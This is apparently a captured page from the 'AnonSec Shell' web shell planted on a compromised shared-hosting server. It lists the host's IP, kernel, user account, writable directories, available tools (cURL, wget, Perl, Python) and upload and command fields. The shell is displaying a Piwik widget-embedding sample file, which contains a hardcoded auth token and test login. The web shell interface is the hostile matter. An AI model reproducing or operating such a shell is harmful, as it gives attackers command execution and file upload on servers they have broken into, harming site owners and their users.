AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/w/e/awebpaca/piwik/misc/others/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/w/e/awebpaca/piwik/misc/others/iframeWidget_localhost.php
<?php
use Piwik\FrontController;
use Piwik\Url;
use Piwik\UrlHelper;
use Piwik\Widget\WidgetsList;

exit;
$date = date('Y-m-d');
$period = 'month';
$idSite = 1;
$url = "http://localhost/trunk/index.php?token_auth=0b809661490d605bfd77f57ed11f0b14&module=Widgetize&action=iframe&moduleToWidgetize=UserCountry&actionToWidgetize=getCountry&idSite=$idSite&period=$period&date=$date&disableLink=1";

?>
<html>
<body>
<h3 style="color:#143974">Embedding the Piwik Country widget in an Iframe</h3>

<p>Loads a widget from localhost/trunk/ with login=root, pwd=test. <a href='<?= $url ?>'>Widget URL</a></p>

<div id="widgetIframe">
    <iframe width="500" height="350"
            src="<?php echo $url; ?>" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe>
</div>

<br/>

<?php
$_GET['idSite'] = $idSite;
define('PIWIK_INCLUDE_PATH', '../..');
define('PIWIK_ENABLE_DISPATCH', false);
define('PIWIK_ENABLE_ERROR_HANDLER', false);
define('PIWIK_ENABLE_SESSION_START', false);
require_once PIWIK_INCLUDE_PATH . "/index.php";
require_once PIWIK_INCLUDE_PATH . "/core/API/Request.php";

FrontController::getInstance()->init();
$widgets = WidgetsList::get()->getWidgetConfigs();
$widgetCategoriesHandled = array();
foreach ($widgets as $widgetConfig) {
    $category = $widgetConfig->getCategoryId();

    if (!empty($widgetCategoriesHandled[$category])) {
        continue;
    }
    $widgetCategoriesHandled[$category] = true;

    echo '<h2>' . $category . '</h2>';

    foreach ($widgets as $widget) {
        if ($category !== $widget->getCategoryId()) {
            continue;
        }

        echo '<h3>' . \Piwik\Piwik::translate($widget->getName()) . '</h3>';
        $widgetUrl = UrlHelper::getArrayFromQueryString($url);
        $widgetUrl['moduleToWidgetize'] = $widget->getModule();
        $widgetUrl['actionToWidgetize'] = $widget->getAction();
        $parameters = $widget->getParameters();
        unset($parameters['module']);
        unset($parameters['action']);
        foreach ($parameters as $name => $value) {
            if (is_array($value)) {
                $value = current($value);
            }
            $widgetUrl[$name] = $value;
        }
        $widgetUrl = Url::getQueryStringFromParameters($widgetUrl);

        echo '<div id="widgetIframe"><iframe width="500" height="350"
        src="' . $widgetUrl . '" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe></div>';

    }
}
?>
</body>
</html>

Anon7 - 2022
AnonSec Team